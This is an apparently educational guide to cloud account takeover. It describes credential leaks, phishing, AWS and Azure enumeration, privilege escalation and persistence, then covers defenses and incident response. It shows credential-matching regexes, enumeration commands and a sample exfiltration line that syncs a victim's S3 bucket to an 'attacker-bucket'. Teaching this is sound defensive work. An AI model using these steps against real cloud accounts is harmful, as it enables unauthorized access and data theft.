Cloud Account Takeover Attacks: Techniques and Defenses

Cloud account takeover (ATO) is one of the most damaging attack categories in modern cybersecurity. Unlike traditional server breaches that require exploiting software vulnerabilities, cloud ATO often begins with something as simple as a stolen password or an exposed API key. Once an attacker controls a cloud identity — whether an AWS IAM user, an Azure AD account, or a GCP service account — they gain access to storage, compute, databases, and secrets that can be exfiltrated, ransomed, or used as a launchpad for further attacks.

This guide covers how cloud ATO attacks work, the specific techniques attackers use against major platforms, and the defensive controls that stop them.

Why Cloud Accounts Are High-Value Targets

Cloud environments consolidate enormous amounts of value behind a relatively small number of identities. A single compromised AWS root account can expose:

• Every S3 bucket in the account, potentially containing customer data, backups, and internal documents
• All running EC2 instances (which can be used for cryptomining or as attack infrastructure)
• Secrets Manager and Parameter Store entries containing database passwords, API keys, and private certificates
• Billing access that attackers can abuse to spin up GPU instances for large-scale mining operations

The financial impact of a single cloud ATO can run into hundreds of thousands of dollars in unauthorized compute charges — before even accounting for data breach costs.

Stage 1: Initial Credential Compromise

Exposed API Keys and Access Tokens

The most common cloud ATO entry point is an exposed credential. Developers frequently commit AWS access keys, GCP service account JSON files, or Azure client secrets directly to public GitHub repositories — accidentally or out of convenience.

Attackers use automated scanners that continuously monitor GitHub, GitLab, and npm for patterns matching cloud credentials:

# AWS key pattern
AKIA[0-9A-Z]{16}

# GCP service account key (JSON structure)
"type": "service_account"

# Azure client secret (typically in .env or appsettings.json)
"clientSecret": "..."

Tools like TruffleHog, Gitleaks, and commercial scanners find these within minutes of a public commit. AWS itself runs a partner program with GitHub that scans for AWS keys and automatically quarantines them — but by the time the alert fires, attackers may already have acted.

Phishing and Credential Harvesting

Corporate cloud portals (AWS SSO, Azure Active Directory, Okta, Google Workspace) are prime phishing targets. Attackers clone login pages with pixel-perfect accuracy and send spear-phishing emails mimicking MFA prompts, security alerts, or IT helpdesk requests.

Adversary-in-the-middle (AiTM) phishing frameworks like Evilginx3 and Modlishka sit as a reverse proxy between the victim and the legitimate login page, capturing session cookies in real time — bypassing traditional MFA since the victim completes the actual authentication flow.

Credential Stuffing

Breached username/password combinations from previous data dumps are tested against cloud console login pages and API endpoints. Organizations that reuse passwords across services are especially vulnerable. Cloud platforms implement rate limiting, but attackers distribute attempts across botnets to stay under detection thresholds.

Stage 2: Reconnaissance and Privilege Escalation

Once inside, attackers enumerate the environment to understand what they have access to and identify paths to higher privileges.

AWS Enumeration

# Who am I?
aws sts get-caller-identity

# What permissions do I have?
aws iam get-user
aws iam list-attached-user-policies --user-name <username>

# List all S3 buckets
aws s3 ls

# List EC2 instances across all regions
aws ec2 describe-instances --region us-east-1

# Check for other IAM users and roles
aws iam list-users
aws iam list-roles

Common privilege escalation paths in AWS include:

• Attaching the AdministratorAccess policy to your own user if iam:AttachUserPolicy is permitted
• Creating a new IAM user with admin rights
• Passing a highly privileged role to an EC2 instance or Lambda function you control (iam:PassRole)
• Assuming a role with broader permissions (sts:AssumeRole)

The Pacu framework (an open-source AWS exploitation toolkit) automates privilege escalation enumeration across dozens of known attack paths.

Azure AD Reconnaissance

After gaining an Azure access token (often via a phishing attack on an OAuth login), attackers use the Microsoft Graph API to enumerate:

# Using the az CLI
az account list
az role assignment list --all
az ad user list
az keyvault list

# Check for service principals with credentials
az ad sp list --all

Attackers look for service principals with Owner or Contributor roles on subscriptions, as these can be used to access or modify resources without triggering user-level alerts.

Stage 3: Data Exfiltration and Persistence

Data Staging and Exfiltration

Once attackers identify high-value data — S3 buckets containing customer PII, Azure Blob Storage with database backups, or GCP Cloud Storage with proprietary code — they exfiltrate it to external storage:

# Sync entire S3 bucket to attacker-controlled storage
aws s3 sync s3://target-bucket s3://attacker-bucket --region us-west-2

# Download directly
aws s3 cp s3://target-bucket/sensitive-data.zip /tmp/

Exfiltration to cloud storage in the same region avoids egress costs that might trigger billing alerts, making it harder to detect through cost anomaly monitoring alone.

Persistence Mechanisms

Attackers establish persistence through:

• New IAM users or access keys — creating a backdoor identity that survives password resets on the compromised account
• Lambda backdoors — deploying serverless functions that beacon out to attacker infrastructure
• EC2 instance roles — attaching IAM roles with broad permissions to compromised instances
• Cross-account trust relationships — establishing trust between the victim account and an attacker-controlled account

Defensive Controls

Multi-Factor Authentication Everywhere

Enable MFA on all cloud console logins without exception. For AWS, enforce MFA with an IAM policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "NotAction": ["iam:CreateVirtualMFADevice", "iam:EnableMFADevice", "sts:GetSessionToken"],
      "Resource": "*",
      "Condition": {
        "BoolIfExists": {"aws:MultiFactorAuthPresent": "false"}
      }
    }
  ]
}

For Azure, use Conditional Access policies to require MFA for all users, block legacy authentication protocols, and require compliant devices.

Least Privilege IAM

Audit IAM permissions regularly. Remove unused permissions, delete unused access keys, and replace long-lived access keys with short-lived credentials via IAM roles wherever possible.

# Find IAM users with keys unused for 90+ days
aws iam generate-credential-report
aws iam get-credential-report

Automated Secret Scanning

Integrate secret scanning into your CI/CD pipeline to catch credentials before they reach public repositories:

# Install gitleaks
brew install gitleaks

# Scan a repository
gitleaks detect --source . --verbose

Also enable GitHub’s built-in secret scanning and AWS’s automated key quarantine program.

CloudTrail and Azure Monitor Alerting

Enable CloudTrail (AWS) or Azure Monitor / Microsoft Sentinel with alerts for high-risk events:

• ConsoleLogin from unexpected IP addresses or countries
• CreateUser, CreateAccessKey, AttachUserPolicy — identity changes
• AssumeRole from unusual principals
• Large S3 data transfers or bulk downloads
• Root account login (should never happen in normal operations)

Phishing-Resistant MFA

Replace TOTP (time-based one-time passwords) with phishing-resistant MFA: FIDO2/WebAuthn hardware security keys (YubiKey, Google Titan) or passkeys. These cannot be intercepted by AiTM proxies because the key is bound to the legitimate domain.

Zero Standing Privileges

Implement just-in-time access for privileged operations. Instead of permanent admin roles, use AWS IAM Identity Center’s temporary elevated access or Azure PIM (Privileged Identity Management) to grant time-limited admin access only when needed, with approval workflows for sensitive operations.

Incident Response Checklist

If you suspect a cloud account takeover, act immediately:

1. Rotate all access keys for the affected identity
2. Revoke active sessions (AWS: aws iam delete-access-key; Azure: revoke refresh tokens via Microsoft Graph)
3. Audit CloudTrail/Azure Activity Logs for the previous 30 days
4. Check for new IAM users, roles, policies, and trust relationships created during the compromise window
5. Scan all S3 buckets for public access settings that may have been changed
6. Review billing for unauthorized charges — cryptomining campaigns can generate thousands of dollars per day
7. Notify affected parties if customer data was exposed

Cloud account takeover is preventable with the right controls in place. Phishing-resistant MFA, aggressive secret scanning, and least-privilege IAM eliminate the vast majority of attack vectors. The organizations that get breached are almost always those that treat cloud IAM as an afterthought rather than a first-class security control.